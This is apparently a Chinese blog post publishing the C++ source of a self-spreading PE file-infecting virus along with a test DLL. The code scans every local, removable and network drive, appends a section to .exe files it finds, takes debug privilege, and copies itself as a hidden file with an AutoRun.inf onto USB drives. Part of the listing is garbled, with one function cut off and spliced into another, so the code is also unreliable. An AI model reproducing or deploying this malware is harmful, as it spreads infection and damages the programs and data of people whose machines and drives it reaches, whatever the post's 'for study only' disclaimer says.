PE型感染病毒 —— VC源码
狼哥的原话:“真正的文件型PE病毒,是不能发布调试版本的,只能靠自己的判断使用发布版本,就算要调试也只能使用其它的调试器,比喻说OllyDbg来调试发布版本......”
这类程序调试起来足矣让人精神紊乱,下面是全部的代码,有兴趣的看看吧.....
这是测试Test.dll源码:
[cpp] view plain copy print ?- /
- // Test.dll
- // by Koma 2009-12-18 0:40
- // http://blog.csdn.net/wangningyu
- #include
- BOOL APIENTRY DllMain( HANDLE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- HANDLE hThread;
- DWORD dwThread;
- switch(lpReserved)
- {
- case DLL_PROCESS_ATTACH:
- MessageBox(NULL,"some process is attching !","Test",MB_OK);
- hThread = CreateThread(NULL,0,SomeFunction,NULL,0,dwThread);
- WaitForSingleObject(hThread,INFINITE);
- CloseHandle(hThread);
- break;
- case DLL_THREAD_ATTACH:
- MessageBox(NULL,"some thread is attching !","Test",MB_OK);
- break;
- case DLL_THREAD_DETACH:
- MessageBox(NULL,"some thread is detaching !","Test",MB_OK);
- break;
- case DLL_PROCESS_DETACH: //
- MessageBox(NULL,"some process is exited !","Test",MB_OK);
- break;
- }
- return TRUE;
- }
/
// 感染PE文件病毒源码
// by Koma 2009-12-18 0:30
// http://blog.csdn.net/wangningyu
// 程序仅供学习交流,请不要尝试用作非法用途!
// 感谢寂寞的狼、llydd、大飞的指导与技术支持!
/
// 引入头文件
//
#include
#include
/
// DiskInfo class
// 采用多线程感染每一个磁盘驱动器
//
class DiskInfo
{
public:CString m_strName; // 磁盘名称,例如C:CString m_strFilePath; // 感染文件的绝对路径BOOL CurFileIsInject; // 判断该文件是否被感染过DiskInfo(); // 构造函数,用来初始化成员变量
};
/
// DiskInfo 构造函数
// 初始化成员变量
//
DiskInfo::DiskInfo()
{m_strFilePath = _T("");m_strName = _T("");
}
/************************************************************************/
// 全局函数声明
/************************************************************************/
void EmuAllDisk(); // 多线程感染全盘文件
BOOL GetOSVersion(); // 获取操作系统版本是不是NT内核
BOOL InfectPE(CString strFilePath); // 感染指定路径exe文件
BOOL IsInfect(CString strFile); // 判断是否被感染过
BOOL CheckPE(FILE* pFile); // 检查文件格式
int Align(int size,unsigned int align); // 用来计算对齐数据后的大小
int EmuDiskFiles(LPCTSTR lpStr); // 遍历指定盘符exe文件
void RaiseToDebug(); // 进程提权
/************************************************************************/
// 全局变量声明
/************************************************************************/
DiskInfo di; // 传递多线程参数:设置盘符名
DiskInfo diInject; // 传递多线程参数:设置文件路径
/************************************************************************/
/* 函数说明:复制到U盘
/* 参 数:无
/* 返 回 值:成功返回0,失败返回非0
/* By:Koma 2009.12.16 20:35
/************************************************************************/
DWORD ThreadInfectU()
{while(true){// 磁盘类型UINT revtype; char name[256]="H://" ; char szName[256]={0};char toPath[256]={0};char infPath[256]={0};char openU[80]={0};// 遍历所有盘符 for(BYTE i=0x42;i<0x5B;i=i+0x01){name[0]=i;revtype=GetDriveType(name);// 判断是否是可移动存储设备if (revtype==DRIVE_REMOVABLE){ // 得到自身文件路径、比较是否和U盘的盘符相同GetModuleFileName(NULL,szName,256); if(strncmp(name,szName,1)==0){return -1; }else{strcpy(toPath,name);strcat(toPath,"//Player.exe");strcpy(infPath,name);strcat(infPath,"//AutoRun.inf");// 还原U盘上的文件属性SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL);SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);// 删除原有文件DeleteFile(toPath);DeleteFile(infPath);// 拷贝自身文件到U盘、把这两个文件设置成系统,隐藏属性CopyFile(szName,toPath,FALSE);SetFileAttributes(toPath,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);SetFileAttributes(infPath,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);}}}// 休眠5秒检测一次Sleep(5000);}
}
/************************************************************************/
/* 函数说明:线程 —— 感染指定exe文件
/* 参 数:驱动器名称,如C:
/* 返 回 值:遍历的数目
/* By:Koma 2009.12.17 14:05
/************************************************************************/
DWORD ThreadInject(LPVOID lpParameter)
{DiskInfo *diParam = (DiskInfo *)lpParameter;BOOL bRet = InfectPE(diParam->m_strFilePath);if(bRet)return 0;return -1;
}
/************************************************************************/
/* 函数说明:线程 —— 遍历驱动器exe文件
/* 参 数:驱动器名称,如C:
/* 返 回 值:遍历的数目
/* By:Koma 2009.12.17 14:05
/************************************************************************/
DWORD ThreadDisk(LPVOID lpParameter)
{DiskInfo *diParam = (DiskInfo *)lpParameter;BOOL bRet = EmuDiskFiles(diParam->m_strName);if(bRet)return 0;return -1;
}
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{RaiseToDebug(); // 提升权限EmuAllDisk(); // 依次启动遍历磁盘线程、遍历文件MessageBox(NULL,"程序启动成功!","测试",MB_OK);return 0;
}
/************************************************************************/
/* 函数说明:获取应用程序当前目录
/* 参 数:无
/* 返 回 值:返回目录路径、CString类型字符串
/* By:Koma 2009.12.17 14:25
/************************************************************************/
CString GetExePath()
{ char pathbuf[260]; int pathlen = ::GetModuleFileName(NULL,pathbuf,260); // 替换掉单杠 while(TRUE) { if(pathbuf[pathlen--]=='//') break; } pathbuf[++pathlen]= 0x0; CString fname = pathbuf; return fname;
}
/************************************************************************/
/* 函数说明:提升进程权限到debug权限
/* 参 数:无
/* 返 回 值:无
/* By:Koma 2009.12.17 21:20
/************************************************************************/
void RaiseToDebug()
{HANDLE hToken;HANDLE hProcess = GetCurrentProcess(); // 获取当前进程句柄 // 打开当前进程的Token,就是一个权限令牌,第二个参数可以用TOKEN_ALL_ACCESSif (OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)){TOKEN_PRIVILEGES tkp;if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid)){tkp.PrivilegeCount = 1;tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//通知系统修改进程权限BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);}CloseHandle(hToken);}
}
/************************************************************************/
/* 函数说明:保护文件防止被轻易删除
/* 参 数:无
/* 返 回 值:无
/* By:Koma 2009.12.17 21:42
/************************************************************************/
BOOL OccupyFile(LPCTSTR lpFileName)
{ RaiseToDebug(); // 提升权限 // 打开syetem进程,打开前必须赋予PROCESS_DUP_HANDLE权限 HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4);if (hProcess == NULL) { hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 8); if (hProcess == NULL) return FALSE; } HANDLE hFile = NULL; HANDLE hTargetHandle = NULL; // 创建一个文件,当然这个文件可以是本来就存在的 hFile = CreateFile(lpFileName, GENERIC_READ | GENERIC_EXECUTE | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { // 文件创建或打开失败 CloseHandle( hProcess ); return FALSE; }return TRUE;
}
/************************************************************************/
/* 函数说明:多线程感染全盘文件
/* 参 数:无
/* 返 回 值:无
/* By:Koma 2009.12.17 22:30
/************************************************************************/
void EmuAllDisk()
{CString strTemp; // 临时字符串UINT revtype; // 磁盘类型char name[5]= "C:"; // 磁盘名称int nCount = 0; // 磁盘数量HANDLE hThread[10]; // 最大启动十个磁盘感染线程DWORD dwTid[10]; // 线程PIDfor(BYTE i=0x42;i<0x5B;i=i+0x01) // 遍历所有盘符{name[0]=i;revtype=GetDriveType(name);switch(revtype){ // 判断磁盘驱动器的属性case DRIVE_FIXED: // 是否为本地磁盘case DRIVE_REMOVABLE: // 是否为可移动磁盘case DRIVE_REMOTE: // 是否为网络磁盘if(nCount>10){ // 最大启动十个线程nCount = 0; // 恢复计数器Sleep(30000); // 休眠30秒break;}strTemp.Format("%c",name[0]);strTemp = strTemp + ":"; // 磁盘字符串形式,如C:di.m_strName = strTemp; // 设置感染文件的绝对路径hThread[nCount] = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadDisk,(LPVOID)(&di),NULL,&dwTid[nCount]);nCount++;break; }}
}
/************************************************************************/
/* 函数说明:判断操作系统版本
/* 参 数:无
/* 返 回 值:NT以上版本的系统返回TRUE,失败返回FALSE
/* By:Koma 2009.12.18 22:20
/************************************************************************/
BOOL GetOSVersion()
{DWORD dwVersion = 0;// 如果是Windows 98/Me/95以上的操作系统则返回TRUEdwVersion = GetVersion();if (dwVersion < 0x80000000){return TRUE;}return FALSE;
}
/************************************************************************/
/* 函数说明:感染exe文件
/* 参 数:strFile 文件路径
/* 返 回 值:成功返回TRUE,失败返回FALSE
/* By:Koma 2009.12.18 21:32
/************************************************************************/
BOOL InfectPE(CString strFilePath)
{FILE* rwFile; // 被感染的文件IMAGE_SECTION_HEADER NewSection; // 定义要添加的区块IMAGE_NT_HEADERS NThea; // DWORD pNT; // pNT中存放IMAGE_NT_HEADERS结构的地址int nOldSectionNo;int OEP;if((rwFile=fopen(strFilePath,"rb"))==NULL){ // 打开文件失败则返回return FALSE;}if(!CheckPE(rwFile)){ // 如果不是PE文件则返回return FALSE;}fseek(rwFile,0x3c,0);fread(&pNT,sizeof(DWORD),1,rwFile);fseek(rwFile,pNT,0);fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile); // 读取原文件的IMAGE_NT_HEADERS结构nOldSectionNo=NThea.FileHeader.NumberOfSections; // 保存原文件区块数量OEP=NThea.OptionalHeader.AddressOfEntryPoint; // 保存原文件区块OEPIMAGE_SECTION_HEADER SEChea; // 定义一个区块存放原文件最后一个区块的信息int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;int FILE_ALIG=NThea.OptionalHeader.FileAlignment; // 保存文件对齐值与区块对齐值memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));fseek(rwFile,pNT+248,0); // 读原文件最后一个区块的信息for(int i=0;ie_magic ==IMAGE_DOS_SIGNATURE)){CloseHandle(hFile);CloseHandle(hMapping);return FALSE;}// NT头指针地址imNT_Headers=(IMAGE_NT_HEADERS *)((char *)pBasePointer+imDos_Headers->e_lfanew);// 读取节表名CString strTemp = "";CString strSectionName;for(i=0,imSECTION_Headers =(IMAGE_SECTION_HEADER *)((char *)imNT_Headers+sizeof(IMAGE_NT_HEADERS));iFileHeader .NumberOfSections;i++,imSECTION_Headers++){strTemp.Format("第%d节:%s/n",i+1,imSECTION_Headers->Name);strSectionName = strSectionName + strTemp;dwSestion = i;}// 查找节点是否存在// MessageBox(strSectionName);if(strSectionName.Find(".data")>0){bRet = TRUE;}// 关闭句柄、释放文件CloseHandle(hMapping);CloseHandle(hFile);return bRet;
}
/************************************************************************/
/* 函数说明:用来计算对齐数据后的大小
/* 参 数:size 计算大小
/* align 对齐后的长度
/* 返 回 值:对齐数据后的大小
/* By:Koma 2009.12.18 23:25
/************************************************************************/
BOOL CheckPE(FILE* pFile)
{ fseek(pFile,0,SEEK_SET);BOOL bFlags=FALSE;WORD IsMZ;DWORD IsPE,pNT;fread(&IsMZ,sizeof(WORD),1,pFile);if(IsMZ==0x5A4D){fseek(pFile,0x3c,SEEK_SET);fread(&pNT,sizeof(DWORD),1,pFile);fseek(pFile,pNT,SEEK_SET);fread(&IsPE,sizeof(DWORD),1,pFile);if(IsPE==0X00004550)bFlags=TRUE;elsebFlags=FALSE;}elsebFlags=FALSE;fseek(pFile,0,SEEK_SET);return bFlags;
}
/************************************************************************/
/* 函数说明:用来计算对齐数据后的大小
/* 参 数:size 计算大小
/* align 对齐后的长度
/* 返 回 值:对齐数据后的大小
/* By:Koma 2009.12.18 23:42
/************************************************************************/
int Align(int size,unsigned int align)
{if(size%align!=0)return (size/align+1)*align;else return size;
}
/************************************************************************/
/* 函数说明:遍历感染指定驱动器中所有exe文件
/* 参 数:驱动器名称,如C:
/* 返 回 值:遍历的数目
/* By:Koma 2009.12.18 23:55
/************************************************************************/
int EmuDiskFiles(LPCTSTR lpStr)
{CFileFind fd;CString strWild(lpStr);CString str = fd.GetFilePath(); // 获取每个文件的绝对路径int nTemp = 0; // 最大启动5个线程同时感染BOOL bRet;HANDLE hThread;DWORD dwTid;strWild += _T("//*.*"); // 查找类型bRet = fd.FindFile(strWild); // 开始查找while (bRet){ // 如果不为空,继续遍历
ReEmu: bRet = fd.FindNextFile(); // 查找下一个文件if(fd.IsDots()) // 过滤目录自身与上层目录continue;else if(fd.IsDirectory()){ // 判断是否为文件夹CString str = fd.GetFilePath(); // 获取文件夹路径EmuDiskFiles(str); // 继续遍历子目录}else{int nTemp1 = str.Find("WINDOWS"); // 如果是XP系统目录则跳过int nTemp2 = str.Find("WINNT"); // 如果是WIN2000系统目录也跳过if(nTemp1>0 || nTemp2>0)goto ReEmu;if(str.Find(".exe")>0){ // 判断是否为exe扩展名if(!IsInfect(str)) // 判断是否感染过{di.m_strFilePath = str; // 设置感染文件的绝对路径hThread = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadInject,(LPVOID)(&diInject),NULL,&dwTid); WaitForSingleObject(hThread,INFINITE);//InfectPE(str);}continue;}}Sleep(10000); // 10秒种遍历一个文件}return 0;
}
/
// 感染PE文件病毒源码
// by Koma 2009-12-18 0:30
// http://blog.csdn.net/wangningyu
// 程序仅供学习交流,请不要尝试用作非法用途!
/
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
